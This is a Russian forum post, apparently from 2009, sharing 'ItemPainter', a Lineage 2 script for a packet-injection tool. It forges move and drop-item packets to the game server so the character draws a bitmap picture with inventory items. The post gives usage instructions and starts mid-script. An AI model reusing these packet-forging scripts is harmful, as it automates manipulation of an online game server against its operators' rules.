NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1) +currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1)-currentx*(ComboBoxScale.ItemIndex+1);
end;
end;
end;
//====================
begin
ItemOID:=0;
repeat
if currentx=bmp.width-1 then
begin
inc(currenty);
currentx:=0;
end else inc(currentx);
if currenty=bmp.height then
begin
timer.enabled:=false;
stats.lines.add('Остановлено! Рисунок нарисован!');
StartButton.enabled:=true;
exit;
end;
case bmp.Canvas.pixels[currentx,currenty] of //матрица пикселей
clBlack: if (SelectedItems[1,1]>0) and (GetCount(SelectedItems[1,1])>0) then ItemOID:=SelectedItems[1,1];
clRed: if (SelectedItems[1,2]>0) and (GetCount(SelectedItems[1,2])>0) then ItemOID:=SelectedItems[1,2];
clGreen: if (SelectedItems[1,3]>0) and (GetCount(SelectedItems[1,3])>0) then ItemOID:=SelectedItems[1,3];
clBlue: if (SelectedItems[1,4]>0) and (GetCount(SelectedItems[1,4])>0) then ItemOID:=SelectedItems[1,4];
clYellow:if (SelectedItems[1,5]>0) and (GetCount(SelectedItems[1,5])>0) then ItemOID:=SelectedItems[1,5];
end;
until ItemOID<>0;
if ItemOID=0 then exit;
stats.lines.add('Текущий элемент матрицы: x='+inttostr(currentx)+', y='+inttostr(currenty)+'.');
GetNextCoords;
if delta(MyX,MyY,NextX,NextY)>MaxDistance then begin //расстояние между точками
buf:=#$01;
WriteD(NextX);
writeD(NextY);
WriteD(MyZ);
WriteD(MyX);
WriteD(MyY);
WriteD(MyZ);
WriteD(1);
SendToServerEx(Name);
timer.enabled:=false; //Отключаем на время передвижения
ready:=true;
exit;
end;
buf:=#$12;
WriteD(ItemOID);
WriteD(1);
WriteD(NextX);
WriteD(NextY);
WriteD(MyZ);
SendToServerEx(Name);
end;
//--------------------------------------------
begin
if FromClient and (ConnectName=Name) then
case pck[1] of
#$48: begin
MyX:=ReadD(2); // постоянно считываем координаты чара
MyY:=ReadD(6);
if ready and (delta(Myx,Myy,NextX,NextY)<MaxDistance/2) then begin //Меньше 100 можно включать таймер
buf:=#$12; //Выкидываем предмет который не выкинули когда дельта привышала 240
WriteD(ItemOID);
WriteD(1);
WriteD(NextX);
WriteD(NextY);
WriteD(MyZ);
SendToServerEx(Name);
ready:=false;
timer.enabled:=true;
end;
end;
end;
if FromServer and (ConnectName=Name) then
case pck[1] of
#$1B: CreateItemBase; //создание базы предметов
//......................................
#$27: InventoryUpdate; //Обновление базы
#$64: if (StartButton.enabled=false) and (timer.enabled=false) and (ReadD(6)=3) then
begin
StartX:=ReadD(14); //Считываются только 1 раз
StartY:=ReadD(22);
StartZ:=ReadD(30);
MyX:=StartX;
MyY:=StartY;
MyZ:=StartZ;
timer.enabled:=true;//Вот теперь включаем таймер
end;
end;
end.
ItemPainter для Gracia Part2
Program ItemPainter;
//------------------------------------------------------------------
//Скрипт для рисования предметами для Gracia part 2
//В Name ввдите ник
//Нарисуйте картинку в любом графическом редакторе.
//В поле "Путь к фалу" введите путь к этому файлу и нажмите Load
//Черный,красный,зеленый,голубой,желтый цвета пикселей можно привязать к отдельному предмету
//Выберите цвет в боксе color, затем предмет в боксе Item (предметов должно быть>1 чтобы они появились в списке)
//scale - масштаб отступа между предметами от 1:1 до 10:1
//Самый оптимальный масштаб 5:1
//Направление - согласно компасу в игре
const
Name='Perforator';
MaxDistance=150; //Максимальное расстояние на которое можно бросить итем
max=80; //Вместимость инвентаря
var
bmp:TBitMap; //Картинка
ItemBase: array[1..3,1..max] of integer; //Массив предметов заполняется процедурой CreateItemBase
SelectedItems: array[1..3,1..5] of integer; //Массив Object ID предметов [i,j] i=1 - OID,2-ID,3 - Count; j - # цвета
currentx,currenty,StartX,StartY,StartZ,MyX,MyY,MyZ ,NextX,NextY,ItemOID:integer;
//Теущие координаты x и y;координаты начала отчета x,y,z; Мои координаты x y обнавляются при Validate Position
ready:boolean;
timer : TTimer;
FormMain:TForm;
Stats : TMemo;
Panel1 : TPanel;
GroupBox1,GroupBox2 : TGroupBox;
ComboBoxColor,ComboBoxScale,ComboboxItem,ComboBoxD irection:TComboBox;
Label1,Label2,Label3,Label4:TLabel;
Path:TEdit;
LoadedImage:TImage;
LoadButton,StartButton,StopButton:TButton;
ItemsName,StringList:TStringList;
//......................................
//......................................
//......................................
//ComboBoxItem
procedure ComboBoxItem_Click(Sender: TComboBox);
var i,count,index:integer;
begin
count:=0;
if SelectedItems[2,ComboBoxColor.ItemIndex+1]=ItemBase[2,ComboBoxItem.ItemIndex+1] then exit;
for i:=1 to 5 do if SelectedItems[2,i]=ItemBase[2,ComboBoxItem.ItemIndex+1] then inc(count);
if Count>0 then begin
stats.lines.add('Ошибка! Нельзя добавлять одинаковые предметы в разные цвета.');
exit;
end;
SelectedItems[1,ComboBoxColor.ItemIndex+1]:=ItemBase[1,ComboBoxItem.ItemIndex+1];
SelectedItems[2,ComboBoxColor.ItemIndex+1]:=ItemBase[2,ComboBoxItem.ItemIndex+1];
SelectedItems[3,ComboBoxColor.ItemIndex+1]:=ItemBase[3,ComboBoxItem.ItemIndex+1];
index:=ComboBoxItem.ItemIndex;
for i:=0 to StringList.Count-1 do if Pos(' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex],ComboBoxItem.Items.Strings[i])>0 then
ComboBoxItem.Items.Strings[i]:=StringList.Strings[i];
ComboBoxItem.Items.Strings[index]:=ComboBoxItem.Items.Strings[ComboBoxItem.ItemIndex]+' - '+ComboBoxColor.Items.Strings[ComboBoxColor.ItemIndex];
ComboBoxItem.ItemIndex:=index;
end;
//----------------------------------------
procedure StartButton_Click(Sender: TButton);
//Event : OnClick
begin
if bmp=NIL then stats.lines.add('Картинка не загружена!') else
begin
stats.lines.add('Старт!');
StartButton.enabled:=false;
currentx:=-1;
currenty:=0;
buf:=#$B3;
WriteD(0);
SendToServerEx(Name);
end;
end;
//......................................
//ButtonStopEnchant
procedure StopButton_Click(Sender: TButton);
//Event : OnClick
begin
StartButton.enabled:=true;
stats.lines.add('Стоп!');
timer.enabled:=false;
ready:=false;
end;
procedure bmpload;
begin
bmpfree;
bmp:=TBitMap.Create;
try
bmp.LoadFromFile(path.text);
except
bmp.Free;
stats.lines.add('Ошибка загрузки файла!');
exit;
end;
stats.lines.add('Картинка успешно загружена!');
LoadedImage.Picture.assign(bmp);
end;
procedure LoadButton_Click(Sender: TButton);
var openDialog : TOpenDialog;
begin
openDialog := TOpenDialog.Create(NIL);
openDialog.Filter := 'Bitmap files|*.bmp';
openDialog.FilterIndex := 1;
openDialog.DefaultExt:='bmp';
openDialog.Options:=ofNoChangeDir+ofFileMustExist+ ofPathMustExist;
if openDialog.Execute then path.text:=openDialog.FileName else begin
openDialog.Free;
exit;
end;
openDialog.Free;
bmpload;
end;
procedure Path_key(Sender: TEdit; Key: Char);
begin
if ord(key)=13 then begin
bmpload;
end;
end;
procedure Free_FormMain;
//Освобождаем ресурсы ...
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end;
function Create_FormMain : TForm;
//Создаем форму и соотв. компоненты на ней ...
Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Свойства формы
Result.Caption := 'Item Painter v 0.2 by ArchDevil';
Result.Left := 397;
Result.Top := 233;
Result.Width := 350;
Result.Height := 230;
Result.FormStyle := fsNormal;
Result.Position := poDesigned;
Result.BorderStyle := bsSizeable;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Color := clBtnFace;
Result.Font.Name := 'Tahoma';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 0;
Stats.Top := 160;
Stats.Width := 350;
Stats.Height := 70;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alBottom;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 350;
Panel1.Height := 160;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox1
GroupBox1 := TGroupBox.Create(Result);
GroupBox1.Parent := Panel1;
GroupBox1.Left := 1;
GroupBox1.Top := 1;
GroupBox1.Width := 160;
GroupBox1.Height := 160;
GroupBox1.Visible := TRUE;
GroupBox1.Tag := 0;
GroupBox1.Enabled := TRUE;
GroupBox1.Hint := '';
GroupBox1.ShowHint := FALSE;
GroupBox1.Caption := 'Рисунок';
GroupBox1.Align := alLeft;
GroupBox1.Color := clBtnFace;
GroupBox1.Font.Name := 'Tahoma';
GroupBox1.Font.Size := 8;
GroupBox1.Font.Color := clWindowText;
GroupBox1.Font.CharSet := 1;
GroupBox1.TabOrder := 0;
GroupBox1.TabStop := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 180;
GroupBox2.Height := 160;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alLeft;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//ComboBoxColor
ComboBoxColor := TComboBox.Create(Result);
ComboBoxColor.Parent := GroupBox2;
ComboBoxColor.Left := 38;
ComboBoxColor.Top := 19;
ComboBoxColor.Width := 70;
ComboBoxColor.Height := 21;
ComboBoxColor.Visible := TRUE;
ComboBoxColor.Tag := 0;
ComboBoxColor.Enabled := TRUE;
ComboBoxColor.Hint := 'Выбери из списка цвет соответствующий предмету ниже';
ComboBoxColor.ShowHint := TRUE;
ComboBoxColor.Text := 'ComboBoxColor';
ComboBoxColor.Font.Name := 'Tahoma';
ComboBoxColor.Font.Size := 8;
ComboBoxColor.Font.Color := clWindowText;
ComboBoxColor.Color := clWindow;
ComboBoxColor.TabOrder := 1;
ComboBoxColor.TabStop := TRUE;
ComboBoxColor.Sorted := FALSE;
ComboBoxColor.ItemHeight := 13;
ComboBoxColor.Items.ADD('Черный');
ComboBoxColor.Items.ADD('Красный');
ComboBoxColor.Items.ADD('Зеленый');
ComboBoxColor.Items.ADD('Синий');
ComboBoxColor.Items.ADD('Желтый');
ComboBoxColor.ItemIndex := 0;
//......................................
//......................................
//ComboBoxScale
ComboBoxScale := TComboBox.Create(Result);
ComboBoxScale.Parent := GroupBox2;
ComboBoxScale.Left := 128;
ComboBoxScale.Top := 19;
ComboBoxScale.Width := 45;
ComboBoxScale.Height := 21;
ComboBoxScale.Visible := TRUE;
ComboBoxScale.Tag := 0;
ComboBoxScale.Enabled := TRUE;
ComboBoxScale.Hint := 'Выбери из списка масштаб';
ComboBoxScale.ShowHint := TRUE;
ComboBoxScale.Text := 'ComboBoxScale';
ComboBoxScale.Font.Name := 'Tahoma';
ComboBoxScale.Font.Size := 8;
ComboBoxScale.Font.Color := clWindowText;
ComboBoxScale.Color := clWindow;
ComboBoxScale.TabOrder := 1;
ComboBoxScale.TabStop := TRUE;
ComboBoxScale.Sorted := FALSE;
ComboBoxScale.ItemHeight := 13;
ComboBoxScale.Items.ADD('1:1');
ComboBoxScale.Items.ADD('2:1');
ComboBoxScale.Items.ADD('3:1');
ComboBoxScale.Items.ADD('4:1');
ComboBoxScale.Items.ADD('5:1');
ComboBoxScale.Items.ADD('6:1');
ComboBoxScale.Items.ADD('7:1');
ComboBoxScale.Items.ADD('8:1');
ComboBoxScale.Items.ADD('9:1');
ComboBoxScale.Items.ADD('10:1');
ComboBoxScale.ItemIndex := 4;
//......................................
//......................................
//ComboBoxDirection
ComboBoxDirection := TComboBox.Create(Result);
ComboBoxDirection.Parent := GroupBox2;
ComboBoxDirection.Left := 38;
ComboBoxDirection.Top := 67;
ComboBoxDirection.Width := 135;
ComboBoxDirection.Height := 21;
ComboBoxDirection.Visible := TRUE;
ComboBoxDirection.Tag := 0;
ComboBoxDirection.Enabled := TRUE;
ComboBoxDirection.Text := 'ComboBoxDirection';
ComboBoxDirection.Font.Name := 'Tahoma';
ComboBoxDirection.Font.Size := 8;
ComboBoxDirection.Font.Color := clWindowText;
ComboBoxDirection.Color := clWindow;
ComboBoxDirection.TabOrder := 1;
ComboBoxDirection.TabStop := TRUE;
ComboBoxDirection.Sorted := FALSE;
ComboBoxDirection.ItemHeight := 13;
ComboBoxDirection.Items.ADD('Север');
ComboBoxDirection.Items.ADD('Северо-Восток');
ComboBoxDirection.Items.ADD('Восток');
ComboBoxDirection.Items.ADD('Юго-Восток');
ComboBoxDirection.Items.ADD('Юг');
ComboBoxDirection.Items.ADD('Юго-Запад');
ComboBoxDirection.Items.ADD('Запад');
ComboBoxDirection.Items.ADD('Северо-Запад');
ComboBoxDirection.ItemIndex := 0;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 38;
ComboBoxItem.Top := 43;
ComboBoxItem.Width := 135;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка затачиваемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 6;
Label1.Top := 23;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Цвет:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 6;
Label2.Top := 47;
Label2.Width := 58;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'Итем:';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label3
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 114;
Label3.Top := 23;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'М:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Label4
Label4 := TLabel.Create(Result);
Label4.Parent := GroupBox2;
Label4.Left := 6;
Label4.Top := 71;
Label4.Width := 58;
Label4.Height := 13;
Label4.Visible := TRUE;
Label4.Tag := 0;
Label4.Enabled := TRUE;
Label4.Hint := '';
Label4.ShowHint := FALSE;
Label4.Caption := 'Напр.:';
Label4.Transparent := TRUE;
Label4.WordWrap := FALSE;
Label4.Alignment := taLeftJustify;
Label4.Layout := tlTop;
Label4.AutoSize := TRUE;
Label4.Align := alNone;
Label4.Font.Name := 'Tahoma';
Label4.Font.Size := 8;
Label4.Font.Color := clWindowText;
Label4.Color := clBtnFace;
//......................................
//......................................
//Path
Path := TEdit.Create(Result);
Path.Parent := GroupBox1;
Path.Left := 5;
Path.Top := 103;
Path.Width := 117;
Path.Height := 20;
Path.Visible := TRUE;
Path.Tag := 0;
Path.Enabled := TRUE;
Path.Hint := 'Введи путь к файлу BMP';
Path.ShowHint := TRUE;
Path.Text := '';
Path.Font.Name := 'Tahoma';
Path.Font.Size := 7;
Path.Font.Color := clWindowText;
Path.Color := clWindow;
Path.TabOrder := 5;
Path.TabStop := TRUE;
Path.ReadOnly := FALSE;
Path.MaxLength := 0;
Path.AutoSize := TRUE;
Path.OnKeyPress := @Path_Key;
//......................................
//......................................
//LoadImage
LoadedImage:= TImage.Create(Result);
LoadedImage.Parent:=GroupBox1;
LoadedImage.Left :=5;
LoadedImage.Top := 16;
LoadedImage.Width := 150;
LoadedImage.Height := 90;
LoadedImage.Visible := TRUE;
LoadedImage.Tag := 0;
LoadedImage.Enabled := TRUE;
LoadedImage.Hint := '';
LoadedImage.ShowHint := FALSE;
LoadedImage.Center := TRUE;
LoadedImage.Proportional := TRUE;
//......................................
//......................................
//LoadButton
LoadButton := TButton.Create(Result);
LoadButton.Parent := GroupBox1;
LoadButton.Left := 124;
LoadButton.Top := 102;
LoadButton.Width := 32;
LoadButton.Height := 21;
LoadButton.Visible := TRUE;
LoadButton.Tag := 0;
LoadButton.Enabled := TRUE;
LoadButton.Hint := '';
LoadButton.ShowHint := FALSE;
LoadButton.Caption := '...';
LoadButton.Font.Name := 'Tahoma';
LoadButton.Font.Size := 8;
LoadButton.Font.Color := clWindowText;
LoadButton.Font.CharSet := 1;
LoadButton.TabOrder := 2;
LoadButton.TabStop := TRUE;
LoadButton.Cancel := FALSE;
LoadButton.ModalResult := 0;
LoadButton.OnClick := @LoadButton_Click;
//......................................
//......................................
//StartButton
StartButton := TButton.Create(Result);
StartButton.Parent := GroupBox2;
StartButton.Left := 6;
StartButton.Top := 102;
StartButton.Width := 80;
StartButton.Height := 21;
StartButton.Visible := TRUE;
StartButton.Tag := 0;
StartButton.Enabled := TRUE;
StartButton.Hint := '';
StartButton.ShowHint := FALSE;
StartButton.Caption := 'Старт';
StartButton.Font.Name := 'Tahoma';
StartButton.Font.Size := 8;
StartButton.Font.Color := clWindowText;
StartButton.Font.CharSet := 1;
StartButton.TabOrder := 2;
StartButton.TabStop := TRUE;
StartButton.Cancel := FALSE;
StartButton.ModalResult := 0;
StartButton.OnClick := @StartButton_Click;
//......................................
//......................................
//StopButton
StopButton := TButton.Create(Result);
StopButton.Parent := GroupBox2;
StopButton.Left := 96;
StopButton.Top := 102;
StopButton.Width := 80;
StopButton.Height := 21;
StopButton.Visible := TRUE;
StopButton.Tag := 0;
StopButton.Enabled := TRUE;
StopButton.Hint := '';
StopButton.ShowHint := FALSE;
StopButton.Caption := 'Стоп';
StopButton.Font.Name := 'Tahoma';
StopButton.Font.Size := 8;
StopButton.Font.Color := clWindowText;
StopButton.Font.CharSet := 1;
StopButton.TabOrder := 3;
StopButton.TabStop := TRUE;
StopButton.Cancel := FALSE;
StopButton.ModalResult := 0;
StopButton.OnClick := @StopButton_Click;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
Result.Show;
end;
procedure Init; //Вызывается при включении скрипта
begin
FormMain:=Create_FormMain;
stats.Lines.Add('Скрипт: Рисование предметами by ArchDevil!');
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=700; //время задержки
ready:=false;
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
stats.Lines.Add('itemsid.ini не найден!');
exit;
end;
buf:=hstr('14');
SendToServerEx(Name);
end;
procedure bmpfree;
begin
try
if bmp<>NIL then
begin
bmp.Free;
bmp:=NIL;
end;
finally
end;
end;
procedure Free;
var i:integer;
begin
Free_FormMain; bmpfree;
StringList.Clear; ItemsName.Clear;
timer.Free;
if LoadedImage<>NIL then LoadedImage:=NIL;
currentx:=0; currenty:=0; StartX:=0; StartY:=0;
StartZ:=0; MyX:=0; MyY:=0; ItemOID:=0;
ready:=false;
for i:=1 to 5 do begin
SelectedItems[1,i]:=0;
SelectedItems[2,i]:=0;
SelectedItems[3,i]:=0;
end;
end;
//CreateItemBase и InventoryUpdate Взял со скрипта NLObP на заточку
//---------------------------------------------
procedure CreateItemBase;
var
i, j, ListCount : integer;
begin
for i:=1 to max do begin
//очищаем масив
ItemBase[1,i]:=0; //OID
ItemBase[2,i]:=0; //ID
ItemBase[3,i]:=0; //kol-vo
end;
j:=4;
ListCount:=ReadH(j);
j:=8;
for i:=1 to ListCount do begin
ItemBase[1,i]:=ReadD(j);
ItemBase[2,i]:=ReadD(j);
inc(j,4);
ItemBase[3,i]:=ReadD(j);
inc(j,60);
end;
StringList.Clear;
try
for i:=1 to ListCount do begin
try
StringList.Add(ItemsName.Values[IntToStr(ItemBase[2,i])]); //записываем название вещей из инвентаря
except;
end
end;
except;
exit;
end;
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
//......................................
//************************************************** ****************************
procedure InventoryUpdate; //пакет 27, обновляет базу ObjectID по ItemID
var
i, ii, j, OID, ID, Count, ListCount, UpdType: integer;
add : boolean;
begin
add:=false;
ListCount:=ReadH(2);
j:=4;
for ii:=1 to ListCount do begin
add:=false;
UpdType:=ReadH(j);
inc(j,2); //ItemType1
OID:=ReadD(j); //ObjectID
ID:=ReadD(j); //ItemID
inc(j,4);
Count:=ReadD(j); //кол-во
case UpdType of
1: begin
for i:=1 to max do begin
if (ItemBase[1,i]=0) and (add=false) then begin
ItemBase[1,i]:=OID;
ItemBase[2,i]:=ID;
ItemBase[3,i]:=Count;
add:=true;
end;
end;
end;
2: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[3,i]:=Count;
end;
end;
end;
3: begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
ItemBase[1,i]:=0;
ItemBase[2,i]:=0;
ItemBase[3,i]:=0;
end;
end;
end;
end;
inc(j,58);
end;
end;
//------------------------------------
function GetCount(OID:integer) : integer;
var
i : integer;
begin
for i:=1 to max do begin
if ItemBase[1,i]=OID then begin
result:=ItemBase[3,i]; // count
exit;
end;
end;
result:=0;
end;
//--------------------------------------------
function delta(x1, y1, x2, y2:extended):integer; //возвращает растоянием между 2 точками
var
dx,dy,summa: extended;
begin
dx:=x2-x1;
dy:=y2-y1;
summa:=dx*dx+dy*dy;
if summa=0 then result:=0 else result:=Round(sqrt(summa));
end;
//--------------------------------------------
procedure OnTimer(Sender: TObject);
//====================
procedure GetNextCoords;
begin
case ComboBoxDirection.ItemIndex of
0: begin
NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1) ;
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1) ;
end;
1: begin
NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1)-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1) +currentx*(ComboBoxScale.ItemIndex+1);
end;
2: begin
NextX:=StartX-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currentx*(ComboBoxScale.ItemIndex+1) ;
end;
3: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1)-currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1)+currentx*(Com boBoxScale.ItemIndex+1);
end;
4: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1);
end;
5: begin
NextX:=StartX-currentx*(ComboBoxScale.ItemIndex+1)+currenty*(Com boBoxScale.ItemIndex+1);
NextY:=StartY-currenty*(ComboBoxScale.ItemIndex+1)-currentx*(ComboBoxScale.ItemIndex+1);
end;
6: begin
NextX:=StartX+currenty*(ComboBoxScale.ItemIndex+1) ;
NextY:=StartY-currentx*(ComboBoxScale.ItemIndex+1);
end;
7: begin
NextX:=StartX+currentx*(ComboBoxScale.ItemIndex+1) +currenty*(ComboBoxScale.ItemIndex+1);
NextY:=StartY+currenty*(ComboBoxScale.ItemIndex+1)-currentx*(ComboBoxScale.ItemIndex+1);
end;
end;
end;
//====================
begin
ItemOID:=0;
repeat
if currentx=bmp.width-1 then
begin
inc(currenty);
currentx:=0;
end else inc(currentx);
if currenty=bmp.height then
begin
timer.enabled:=false;
stats.lines.add('Остановлено! Рисунок нарисован!');
StartButton.enabled:=true;
exit;
end;
case bmp.Canvas.pixels[currentx,currenty] of //матрица пикселей
clBlack: if (SelectedItems[1,1]>0) and (GetCount(SelectedItems[1,1])>0) then ItemOID:=SelectedItems[1,1];
clRed: if (SelectedItems[1,2]>0) and (GetCount(SelectedItems[1,2])>0) then ItemOID:=SelectedItems[1,2];
clGreen: if (SelectedItems[1,3]>0) and (GetCount(SelectedItems[1,3])>0) then ItemOID:=SelectedItems[1,3];
clBlue: if (SelectedItems[1,4]>0) and (GetCount(SelectedItems[1,4])>0) then ItemOID:=SelectedItems[1,4];
clYellow:if (SelectedItems[1,5]>0) and (GetCount(SelectedItems[1,5])>0) then ItemOID:=SelectedItems[1,5];
end;
until ItemOID<>0;
if ItemOID=0 then exit;
stats.lines.add('Текущий элемент матрицы: x='+inttostr(currentx)+', y='+inttostr(currenty)+'.');
GetNextCoords;
if delta(MyX,MyY,NextX,NextY)>MaxDistance then begin //расстояние между точками
buf:=#$0F;
WriteD(NextX);
writeD(NextY);
WriteD(MyZ);
WriteD(MyX);
WriteD(MyY);
WriteD(MyZ);
WriteD(1);
SendToServerEx(Name);
timer.enabled:=false; //Отключаем на время передвижения
ready:=true;
exit;
end;
buf:=#$17;
WriteD(ItemOID);
WriteD(1);
WriteD(NextX);
WriteD(NextY);
WriteD(MyZ);
SendToServerEx(Name);
end;
//--------------------------------------------
begin
if FromClient and (ConnectName=Name) then
case pck[1] of
#$59: begin
MyX:=ReadD(2); // постоянно считываем координаты чара
MyY:=ReadD(6);
MyZ:=ReadD(10);
if ready and (delta(Myx,Myy,NextX,NextY)<MaxDistance/2) then begin //Меньше половины MaxDistance можно включать таймер
buf:=#$17; //Выкидываем предмет который не выкинули когда дельта привышала MaxDistance
WriteD(ItemOID);
WriteD(1);
WriteD(NextX);
WriteD(NextY);
WriteD(MyZ);
SendToServerEx(Name);
ready:=false;
timer.enabled:=true;
end;
end;
end;
if FromServer and (ConnectName=Name) then
case pck[1] of
#$11: CreateItemBase; //создание базы предметов
//......................................
#$21: InventoryUpdate; //Обновление базы
#$62: if (StartButton.enabled=false) and (timer.enabled=false) and (ReadD(6)=3) then
begin
StartX:=ReadD(14); //Считываются только 1 раз
StartY:=ReadD(22);
StartZ:=ReadD(30);
MyX:=StartX;
MyY:=StartY;
MyZ:=StartZ;
timer.enabled:=true;//Вот теперь включаем таймер
end;
end;
end.
Инструкция:
//В Name ввдите ник
Нарисуйте картинку в любом графическом редакторе.
В поле "Путь к фалу" введите путь к этому файлу и нажмите Load
Черный,красный,зеленый,голубой,желтый цвета пикселей можно привязать к отдельному предмету
Выберите цвет в боксе color, затем предмет в боксе Item (предметов должно быть>1 чтобы они появились в списке)
scale - масштаб отступа между предметами от 1:1 до 10:1
Самый оптимальный масштаб 5:1
Направление - согласно компасу в игре
Пример [Ссылки могут видеть только зарегистрированные и активированные пользователи] ([Ссылки могут видеть только зарегистрированные и активированные пользователи])
Копирайт Coderx.ru отедльное спасибо Fer123 и QaK за идею и исполнение=)

Benjamin
15.08.2009, 19:15
Скрипт для поиска сундуков по ID
Название скрипта: Т Х __ТУПОЙ
Автор: TAMBIK
Источник: coderx.ru
Описание:
